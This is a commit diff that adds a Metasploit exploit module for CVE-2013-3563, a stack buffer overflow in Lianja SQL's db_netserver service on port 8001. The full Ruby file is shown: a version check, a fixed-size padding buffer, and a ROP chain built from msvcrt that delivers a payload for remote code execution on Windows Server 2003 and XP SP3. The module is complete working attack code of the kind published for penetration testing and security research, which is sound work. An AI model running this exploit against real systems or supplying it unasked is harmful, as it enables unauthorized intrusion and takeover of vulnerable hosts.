Land rapid7#1877, @zeroSteiner's exploit for Lianja SQL

Author: jvazquez-r7

modules/exploits/windows/misc/lianja_db_net.rb

@@ -0,0 +1,80 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GoodRanking
+	include Msf::Exploit::Remote::Tcp
+	include Msf::Exploit::RopDb
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack buffer overflow in the db_netserver
+				process which is spawned by the Lianja SQL server.  The issue is
+				fixed in Lianja SQL 1.0.0RC5.2.
+			},
+			'Author'         => [ 'Spencer McIntyre' ],
+			'License'        => MSF_LICENSE,
+			'References'     => [
+					[ 'CVE', '2013-3563' ],
+			],
+			'DefaultOptions' =>
+				{
+					'WfsDelay' => 20,
+				},
+			'Platform'       => 'win',
+			'Payload'        =>
+				{
+					'StackAdjustment' => -3500,
+					'Space'           => 500,
+					'BadChars'        => "\x01",
+				},
+			'Targets'        =>
+				[
+					[ 'Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
+					[ 'Windows XP SP3', { 'rop_target' => 'xp' } ],
+				],
+			'DefaultTarget'  => 0,
+			'Privileged'     => true,
+			'DisclosureDate' => 'May 22 2013'))
+
+		register_options(
+			[
+				Opt::RPORT(8001),
+			], self.class)
+	end
+
+	def check
+		begin
+			connect
+		rescue
+			return Exploit::CheckCode::Safe
+		end
+		sock.put("db_net")
+		if sock.recv(4) =~ /\d{1,5}/
+			return Exploit::CheckCode::Detected
+		end
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		connect
+		sock.put("db_net")
+		sock.recv(4)
+
+		print_status("#{rhost}:#{rport} - Sending Malicious Data")
+		evil_data =  '000052E1'
+		evil_data << 'A'
+		evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
+		evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})
+		sock.put(evil_data)
+		disconnect
+	end
+end